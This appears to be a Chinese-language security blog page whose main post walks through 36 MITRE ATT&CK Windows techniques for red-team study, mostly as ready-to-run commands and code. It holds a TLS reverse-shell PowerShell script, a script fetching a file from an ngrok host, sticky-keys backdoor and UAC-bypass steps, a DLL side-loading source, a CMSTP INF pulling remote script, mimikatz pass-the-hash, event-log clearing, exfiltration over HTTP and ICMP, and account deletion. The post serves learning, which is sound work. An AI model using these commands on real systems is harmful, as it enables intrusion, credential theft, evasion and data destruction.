[指令日記] 001 IIS Log 預設路徑 & 修改檔案時間(Windows、Linux)

飛飛 | 2022-04-25

本系列紀錄維謢專案時用到的指令,本次專案遇到需要查詢 IIS Log 預設路徑,以及更改特定的檔案時間 Windows、Linux 。

IIS Logs Location

預設路徑: %SystemDrive%\inetpub\logs\LogFiles

修改檔案時間

修改 Windows 檔案的時間

$(Get-Item ).creationtime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastaccesstime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastwritetime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")

修改 Linux 檔案的時間

touch -t 202204240145.10 檔案名稱

[ATT&CK®] 2 ATT&CK® 36個 Techniques 分析

飛飛 | 2022-04-11

上篇介紹 ATT&CK® 是一個紀錄資安攻擊與情資分享的資料庫,是給攻擊方與防禦方溝通的橋樑,紅隊如何使用 ATT&CK®,將透過本篇文章一探究竟。ATT&CK® 會記錄 APT 組織的攻擊手法,所以可以從攻擊手法分析。本篇以 12 個階段與平台以 Windows 為例子,每個階段以三個 Techniques 為範例,並分析每個範例的攻擊手法,從分析中找出紅隊演練的學習 Windows 攻擊流程。

ATT&CK® 以 Windows 為例

此章節會先以 12 個階段與平台以 Windows 為例子,每個階段以三個 Techniques 為範例,並分析每個範例的攻擊手法。

36個 Techniques 分析

每一個 Techniques 有許多種重現的方式與手法,因篇幅原因,僅列出部分手法,作為參考與說明。

Initial Access

T1078.001 Default Accounts

攻擊者可以透過 Windows 預設帳號的權限,作為初始存取,而 Windows 有效的預設帳號為 Guest 來賓帳號 與 Administrator 管理員帳號,攻擊手法如下:

因為 Administrator 的帳號過於顯眼,因此透過提升權限的方式,讓 Guest 可以登入並進行遠端桌面,使用 cmd 執行。

  1. 使用預設帳號 Administrator 管理員預設密碼,取得管理員權限
  2. 開啟 Guest 來賓帳號的狀態
    net user guest /active:yes
  3. 設定 Guest 來賓帳號的密碼
    net user guest h2draPassword!
  4. 將 Guest 來賓帳號加入到群組 Administrator
    net localgroup administrators guest /add
  5. 將 Guest 來賓帳號加入到遠端桌面使用者群組
    net localgroup "Remote Desktop Users guest" /add
  6. 允許遠端桌面連項(fDenyTSConnections 預設 1 拒絕遠端桌面連線)
    reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  7. 允許新的遠端桌面連線
    reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

cmd 實際操作

T1566.001 Spearphishing Attachment

攻擊者可以寄發夾帶惡意檔案的釣魚信件,嘗試對受害者系統中進行初始存取。

啟用巨集且含有惡意 VBScript 的 Excel 中會開啟瀏覽器並下載惡意檔案,攻擊手法如下:

  • 使用 PowerShwll
if (-not(Test-Path HKLM:SOFTWARE\Classes\Excel.Application)){
return '請安裝 Microsoft Excel'
}
else{
$url = 'https://惡意檔案.xlsm'
$fileName = 'PhishingAttachment.xlsm'
New-Item -Type File -Force -Path $fileName | out-null
$wc = New-Object System.Net.WebClient
$wc.Encoding = [System.Text.Encoding]::UTF8
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
($wc.DownloadString(“$url”)) | Out-File $fileName
}

透過以下指令,可以驗證電腦內是否安裝 Excel:

Excel 存在

T1133 External Remote Services

攻擊者可以透過外部的遠端服務(如 VPN)進行初始存取,從外部網路連機到企業內部或受害者的網路。

APT 組織透過前一階段 Recon 收集到受害者的 VPN 帳號密碼,進而連線到企業的 RDP 服務或 VPN 服務。

  • 執行 Chrome VPN 擴充元件
  • 擴充元件都會有 extension_id
$extList = #extension_id
foreach ($extension in $extList) {
New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx“ -PropertyType "String" -Force}
Start chrome
Start-Sleep -Seconds 30
Stop-Process -Name "chrome"

Execution

T1053.002 Scheduled Task/Job: At (Windows)

攻擊者濫用 at.exe 來執行惡意程式碼,排定時程執行檔案。

at 13:20 /interactive cmd

T1559.002 Dynamic Data Exchange

攻擊者使用 Windows 動態資料交換(DDE)執行任意指令。

DDE 是一種 Client 端與 Server 端的協定,透過一次性或連續性的通訊,建立連結之後可以自動交換事件 ,如資料更改通知與指令執行請求。

  1. 開啟 word (新版的 Word 無法重現)
  2. 點選插入 > 快速組件 > 功能變數

點選功能變數

  1. 點選 =(Formula) > 點選確認

點選 =(Formula)

4. 出現非預期之公式結尾

Word 將出現

5. 將鼠標移動到「!非預期之公式結尾」點選右鍵,點選切換功能變數代碼

將鼠標移動到「!非預期之公式結尾」點選右鍵,選擇切換功能變數代碼

6. 出現 { = * MERGEFOMRAT }

7. 修改為 {DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe"}

8. 儲存檔案該檔案,關閉檔案

9. 重新開啟後,選擇是,就會觸發惡意 POC ,開啟小算盤

T1204.002 Malicious File

惡意攻擊者仰賴受害者開啟惡意檔案並執行,可能透過巨集或其他方式下載惡意檔案。

  • 透過 cmd 寫檔案 script,透過 cscript 執行
echo var url ="https://505f93ba3af7.ngrok.io/flag.txt",fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject(‘MSXML2.ServerXMLHTTP’); request.open('GET' , url, false);
request.send();if (request.status === 200) {
stream = WScript.CreateObject('ADODB.Stream');
stream.Open();
stream.Type = 1;
stream.Write(request.responseBody);
stream.Position = 0;
stream.SaveToFile("c:\\windows\\temp\\flag.txt", 1);
stream.Close();
}else{
WScript.Quit(1);
}WScript.Quit(0); > %TEMP%\OSTapGet.js
cscript //E:Jscript %TEMP%\OSTapGet.js

執行開 Javascript 可以看出伺服器有請求紀錄

Persistence

T1197 BITS Jobs

惡意攻擊者濫用 BITS ,執行惡意程式碼後清理。

BITS 是透過 COM 傳輸機制,可以透過更新程式在後台執行,且不中斷其他應用程式。

  • 透過 Bitsadmin 下載檔案
bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}

T1176 Browser Extensions

惡意攻擊者透過瀏覽器的擴充功能,進行攻擊。

  • 安裝惡意的擴充功能

許多擴充功能會繞過 Google 擴充商店的偵測,可能夾帶惡意的廣告或木馬,造成受害者損失。

T1546.001 Change Default File Association

惡意攻擊者透過文件類型關聯觸發惡意檔案,在 Windows 中打開文件通常會使用預設的程式開啟,如附檔案名 txt 可能會透過 Windows 內建的記事本開啟,而文件關聯會儲存於 Windows 註冊表中,可直接透過編輯註冊表,或透過 assoc 修改該副檔名預設開啟的程式。


註冊表位於 HKEY_CLASSES_ROOT[extension]

assoc #{extension_to_change}=#{target_extension_handler}

Privilege Escalation

T1546.008 Accessibility Features

惡意攻擊者執行可存取的惡意檔案來提升權限,如 Windows 中的相黏鍵(Shift 五次)被置換成 cmd.exe 或其他的惡意程式。

  1. 複製相黏鍵進行備份
    copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe
  2. 讓 sethc 提供系統管理員群組的擁有權 /F 指定檔案;/A 擁有權
    takeown /F C:\Windows\System32\sethc.exe /A
  3. icacls 顯示或修改指定檔案上的判別存取控制清單 (DACL),/grant 授予管理員權限
    icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
  4. 複製 cmd 到.exe sethc.exe
    copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe
takeown /F C:\Windows\System32\sethc.exe /A
icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

T1548.002 Bypass User Account Control

惡意攻擊者會繞過 UAC 機制進而使自己提升權限,Windows 中 UAC 可以允許程式提升權限。

reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f

cmd.exe /c eventvwr.msc

T1574.002 DLL Side-Loading

攻擊者透過劫持 DLL 函式庫執行惡意程式碼。

GUP 是 Notepad ++ 用於軟體更新的開放原始碼簽名二進位檔案,容易受DLL 影響,因此可以加載 libcurl dll,執行後,將開啟小算盤 calc.exe。

#include <stdio.h>
#include <windows.h>

extern __declspec(dllexport) void curl_easy_setopt(void){ return; }
extern __declspec(dllexport) void curl_easy_cleanup(void) { return; }
extern __declspec(dllexport) void curl_easy_duphandle(void) { return; }
extern __declspec(dllexport) void curl_easy_escape(void) { return; }
extern __declspec(dllexport) void curl_easy_getinfo(void) { return; }
extern __declspec(dllexport) void curl_easy_init(void) { return; }
extern __declspec(dllexport) void curl_easy_pause(void) { return; }
extern __declspec(dllexport) void curl_easy_perform(void) { return; }
extern __declspec(dllexport) void curl_easy_recv(void) { return; }
extern __declspec(dllexport) void curl_easy_reset(void) { return; }
extern __declspec(dllexport) void curl_easy_send(void) { return; }
extern __declspec(dllexport) void curl_easy_strerror(void) { return; }
extern __declspec(dllexport) void curl_easy_unescape(void) { return; }

void DllUnregisterServer(void){
    system(“calc.exe”);
    return;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol){
    switch (ul_reason_for_call){
        case DLL_PROCESS_ATTACH:{
            DllUnregisterServer();
            break;
        }
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

Defense Evasion

T1218.003 CMSTP

惡意攻擊者濫用 CMSTP 代理惡意程式碼執行。

CMSTP.exe Microsoft 連接管理器設定文件安裝軟體,用來安裝連接管理器的程式,接受資訊文件(INF)作為參數,並安裝從遠端存取連接的服務設定檔案。

攻擊者向 CMSTP.exe 傳送惡意的 INF 檔案,以下為惡意 INF 檔案 範例:

; Author: @NickTyrer-https://twitter.com/NickTyrer/status/958450014111633408

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection

[UnRegisterOCXSection]
%11%\scrobj.dll,NI,https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1191/src/T1191.sct

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Yay"
ShortSvcName="Yay"
  • 透過 cmd 執行 cmstp.exe 並指定 inf 檔案名稱
cmstp.exe /s #{inf_file_path}

T1070.001 Clear Windows Event Logs

惡意攻擊者清除 Windows 事件日誌以隱藏入侵活動,Windows 事件日誌會記錄警報與通知,事件來源分別為系統、應用程式、安全性,有五種事件類型:錯誤、警告、資訊、成功審核、失敗審核。

  1. Log 路徑位於C:\Windows\System32\winevt\Logs 其中系統日誌名稱為 System
  2. 清除 log
    • wevtutil cl#{log_name}
  3. 透過 PowerShell 刪除
$logs = Get-EventLog -List | ForEach-Object {$_.Log}
$logs | ForEach-Object {Clear-EventLog -LogName $_ }
Get-EventLog -list

Get-EventLog -list

T1070.003 Clear Command History

除了消除系統日誌之外,攻擊者還可以清楚受害系統的指令歷史紀錄,以隱藏入侵時所使用的指令。

Windows 中 PowerShell 提供兩種不同的指令紀錄,內建歷史紀錄與 PSReadLine模組管理的指令歷史記錄。

內建歷史紀錄:只會記錄當前命令提示視窗內所使用的指令,不會記錄其他視窗,並且關掉視窗之後就會刪除。

PSReadLine :紀錄 PowerShell 所使用的指令,並寫入檔案中(預設路徑$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

  • 取消 PowerShell 歷史紀錄功能

Set-PSReadlineOption –HistorySaveStyle SaveNothing

  • 刪除 PowerShell 歷史紀錄

Remove-Item (Get-PSReadlineOption).HistorySavePath

Get-PSReadlineOption

Credential Access

T1552.001 Credentials In Files

攻擊者會在本機文件系統與遠端檔案共享搜尋不安全儲存的憑證檔案,可能是受害者自行新增的憑證檔案。

  • 透過 PowerShell findstr 找檔名為密碼的文件檔
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -Pattern password

T1552.002 Credentials in Registry

攻擊者會在受害系統中的註冊表搜尋不安全儲存的憑證,Windows 註冊表可儲存系統的設定資訊,攻擊者查詢註冊表後,找到已儲存的憑證或密碼,有機會達到自動登入。

  • 列舉註冊表的憑證(HKLM 本機端、HKCU 當前登入使用者)
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

T1555.003 Credentials from Web Browsers

惡意攻擊者可以讀取特定瀏覽器的檔案或是從瀏覽器中或的憑證,如 Windows 中 Google Chrome 路徑為AppData\Local\Google\Chrome\User Data\Default\Login Data 並透過 SQL 查詢語法查詢 SELECT action_url, username_value, password_value FROM logins; 後將被加密資料傳送到 Windows API函數CryptUnprotectData 進行解密。

  • ATT&CK® 官網有針對 APT29 該 APT 組織的攻擊流程,做產品評測,有提供工具,以下測試使用該工具

https://github.com/mitre-attack/attack-arsenal/blob/master/adversary\_emulation/APT29/CALDERA\_DIY/evals/payloads/Modified-SysInternalsSuite.zip

  • 下載該 zip 檔案之後,將檔案放置 $env:TEMP\Modified-SysInternalsSuite.zip 並進行解壓縮。

Expand-Archive $env:TEMP\Modified-SysInternalsSuite.zip $env:TEMP\sysinternals -Force

  • 並透過微軟官方工具 accesschk,該工具為確認權限的工具。

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

  • 於 PowerShell 中執行
Set-Location -path “$env:TEMP\Sysinternals”;
./accesschk.exe -accepteula .;

Discovery

T1010 Application Window Discovery

惡意攻擊者嘗試取得目前使用者已經打開應用程式的視窗列表,取得發現有用的資訊。

using System;
using System.Collections.Generic;
using System.Diagnostics;
/*
Author: Tony Lambert, Twitter: @ForensicITGuy
License: MIT License
Step One:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe T1010.cs
Step Two:T1010.exe
*/

namespace WindowLister{
    class Lister{
        static List ListMainWindowTitles(){
            List windowTitlesList = new List();
            Process\[\] processlist = Process.GetProcesses();
            foreach (Process process in processlist)  
        {  
            string titleOutputLine;  

            if (!String.IsNullOrEmpty(process.MainWindowTitle))  
            {  
                titleOutputLine = "Process: " + process.ProcessName + " ID: " + process.Id + " Main Window title: " + process.MainWindowTitle;  
                windowTitlesList.Add(titleOutputLine);  
            }  
        }  

        return windowTitlesList;  
    }  

    static void Main(string\[\] args)   
    {  
        List<string> windowTitlesList = ListMainWindowTitles();  
        windowTitlesList.ForEach(i => Console.Write("{0}\\n", i));  
    }  
}  
}
  • 透過以上的程式碼編譯並執行
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe T1010.cs
.\T1010.exe

查看目前開啟應用程式的標題

T1217 Browser Bookmark Discovery

惡意攻擊者會枚舉瀏覽器的書籤,了解受害主機的資訊,從書籤可以了解該使用者的資訊,如常用網站、興趣與社交媒體,甚至是伺服器、工具等資訊。

  • 使用 PowerShell 取得書籤位置
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe T1010.cs
.\T1010.exe

  • 使用 cmd 列出書籤位置
where /R C:\Users\ Bookmarks

T1083 File and Directory Discovery

惡意者枚舉檔案和資料夾,為了在受害主機中收集有用資訊,可能透過 dir、tree、ls、find 等指令。

  • 使用 cmd,透過 dir 將常用的資料夾內容都輸出到 %temp%\download
dir /s c:\ >> %temp%\download
dir /s "c:\Documents and Settings" >> %temp%\download
dir /s "c:\Program Files\" >> %temp%\download
dir "%systemdrive%\Users\*.*" >> %temp%\download
dir "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*" >> %temp%\download
dir "%userprofile%\Desktop\*.*" >> %temp%\download
tree /F >> %temp%\download
  • 使用 PowerShell:以下三種方式都可以
ls -recurse
get-childitem -recurse
gci -recurse

Lateral Movement

T1021.003 Distributed Component Object Model

惡意攻擊者透過有效的帳號,並使用 DCOM(分布式元件物件模型)與遠端系統進行連線,並已有效帳號的身分執行與操作。

COM (元件物件模型)是 Windows API 的元件,該元件可以讓軟體之間進行連線或介面之間可執行程式碼。

透過 COM 使用者端可以使用伺服器端的方法,DLL 或 EXE。

  • 使用 mmc20 應用程式 COM 進行 PowerShell 的橫向移動
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","localhost")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7")

T1550.002 Pass the Hash

惡意攻擊者透過被外洩的密碼雜湊值,在內部網路環境橫向移動,繞過存取控制。Pass the Hash(PtH)不需要使用者的明文密碼,直接進入使用雜湊進行身分驗證的步驟,通過身分驗證之後,可以在系統上操作任意指令。

  • 使用 mimikatz
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:test.local /ntlm:#{ntlm}"
  • 使用 crackmapexec
crackmapexec #{domain} -u #{user_name} -H #{ntlm} -x #{command}

T1550.003 Pass the Ticket

惡意攻擊者透過被外洩的 Kerbers Ticket 繞過身分驗證。

mimikatz.exe # kerberos::ptt [email protected]

Collection

T1560 Archive Collected Data

惡意攻擊者壓縮敏感資料,混淆收集資烙並減少網路傳輸的資料量。

  • 使用 PowerShell 壓縮檔案
dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}

T1115 Clipboard Data

攻擊者透過收集剪貼簿中的資料,嘗試取得敏感資訊。

  • 使用 cmd

將目前目錄清單複製到 Windows 剪貼簿 dir | clip

將稱為 test.txt 的檔案內容複寫到 Windows 剪貼簿 clip < test.txt

  • 使用 PowerShell
Get-Process | clip

T1056.001 Keylogging

惡意攻擊者記錄使用者的輸入,比如收集使用者輸入密碼的時候,可竊取到密碼。

時常濫用 Windows 內建 Hook API、硬體緩衝區的 key 、註冊表等方法。

  • 腳本來自 key_logger,並修正以下三行。
[line 56] MessageBox(NULL, (char *) a, (char *) b, MB_ICONERROR);
[line 93] strcpy(lastwindow, window_title);
[line 98] localtime(&t);

Command and Control

T1071.004 DNS

惡意攻擊者透過 DNS 進行通訊,以繞過網路偵測系統。

for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type "#{query_type}" "#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}" -QuickTimeout}

T1573 Encrypted Channel

惡意攻擊者使用已知的加密演算法來隱藏命令與控制流量。

$server_ip = #{server_ip}
$server_port = #{server_port}
$socket = New-Object Net.Sockets.TcpClient(&#039;#{server_ip}&#039;, &#039;#{server_port}&#039;)
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient(&#039;fake.domain&#039;, $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write(&#039;PS &#039; + (pwd).Path + &#039;> &#039;)
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;> &#039;;
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}

T1105 Ingress Tool Transfer

惡意攻擊者透過工具從外部系統轉移到受害網路中,透過命令或控制通道將惡意工具傳送到內部網路。

  • cmd
    利用 certutil 中的 -urlcache 參數下載 Web 檔案。
cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}

  • PowerShell
certutil -verifyctl -split -f #{remote_file}
Get-ChildItem | Where-Object {$_.Name -notlike "*.txt"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }

(New-Object System.Net.WebClient).DownloadFile("#{remote_file}", "#{destination_path}")

Exfiltration

T1020 Automated Exfiltration

惡意攻擊者透過自動處理來竊取敏感資料,

$fileName = "#{file}"
$url = "#{domain}"
$file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test"
$contentType = "application/octet-stream"
try {Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName} catch{}


T1048.003 Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol

  • 透過 HTTP 取得敏感資料,於受害主機執行 HTTP Server
python -m SimpleHTTPServer 1337
  • 透過 ICMP 傳送檔案
$ping = New-Object System.Net.Networkinformation.ping; foreach($Data in Get-Content -Path #{input_file} -Encoding Byte -ReadCount 1024) { $ping.Send("#{ip_address}", 1500, $Data) }

使用 Windows WireShark 監聽 Adapter for loopback traffic capture

T1567 Exfiltration Over Web Service

攻擊者使用合法的外部 Web 服務來竊取資料,如 Ngrok,如外部的 Web 服務對於企業的防火牆可以已存在「合法可通行」的規則,允許存取這些「合法」的外部 Web 服務。

受害網站 CDN 被加入惡意腳本,購物者付款後,會收集信用卡資料,透過重導向的方式,發送到自定義的 ngrok 伺服器。

Impact

T1531 Account Access Removal

攻擊者破壞受害者系統中的帳號,透過刪除、修改、鎖定帳號,使得受害者無法存取帳號。

  • 更新受害者的密碼,使受害者無法存取帳號。(admin權限)
net user #{user_account} #{new_user_password} /add
net.exe user #{user_account}

  • 刪除受害者帳號
net.exe user #{user_account} /delete

T1485 Data Destruction

攻擊者破壞受害者系統的資料與檔案,進而中斷系統、服務、網路資源的可用性。

Invoke-Expression -Command ".\sdelete.exe -accepteul a h1dra.txt

-Invoke-Expression 在本機系統執行指令。

T1489 Service Stop​​

攻擊者停止或禁用受害者系統的服務,進而使受害者無法使用。

  • 使用 cmd 並以 admin 執行
sc.exe stop #{service_name}
net.exe stop #{service_name}
taskkill.exe /f /im #{process_name}

[ATT&CK®] 1 ATT&CK® 基本介紹

飛飛 | 2022-04-11

帶你深入淺出 ATT&CK® 資安攻擊情資分享資料庫,是紅隊與藍隊之間溝通的橋樑。

(閱讀全文...)

[安裝教學] 005 Windows Terminal

飛飛 | 2022-04-11

Windows Terminal 可以自訂化外觀,方便又美觀,如果是使用 WSL 的話推薦使用這個工具。

(閱讀全文...)

[新手入門] 003 Linux 指令教學

飛飛 | 2022-04-11

無論是在伺服器進行網站開發或是漏洞實戰都會運用指令介面,而實戰當中常用的滲透工具以及惡意攻擊者撰寫的病毒也都包含指令,因此我們需要學習 Command Line 的操作與技巧。

(閱讀全文...)

[漏洞分析] 002 復現 Spring4Shell: Spring Core RCE JDK 9+ CVE-2022-22965

飛飛 | 2022-03-31

本文介紹 Spring Core RCE CVE-2022-22965 的漏洞介紹與環境架設,包含臨時修復方式。

(閱讀全文...)

[網站漏洞] 004 Command injection 指令注入

飛飛 | 2022-03-30

今天要介紹的 Command injection ,也就是可以透過這個漏洞去執行伺服器的命令 ( Command ) ,通常有這個漏洞就可以做到遠端程式碼執行( RCE,Remote Code Execution)。

(閱讀全文...)

[網站漏洞] 003 Directory traversal/File Path traversal 路徑穿越/目錄遍歷

飛飛 | 2022-03-30

本文介紹目錄遍歷(文件路徑遍歷)-Directory traversal/Path traversal,透過漏洞取得伺服器檔案,如原始碼、設定檔(帳號密碼 IP)造成敏感外洩。

(閱讀全文...)

[網站漏洞] 002 Broken Authentication vulnerabilities 身份驗證漏洞

飛飛 | 2022-03-25

本篇文章介紹 OWASP top 10 中 2017 第二名的 broken authentication 針對身份驗證相關的漏洞,身份驗證原理,以及常見的三種身份驗證漏洞成因,最後附上與身份驗證防禦的方式。

(閱讀全文...)

[網站漏洞] 001 SQL injection 與自建 LAB

飛飛 | 2022-03-24

本篇文章介紹網站漏洞 SQL injection,先認識 SQL 查詢語言,介紹注入類型:如字串型、數字型、Union 型、blind 型,最後完成一個 SQLi LAB。

(閱讀全文...)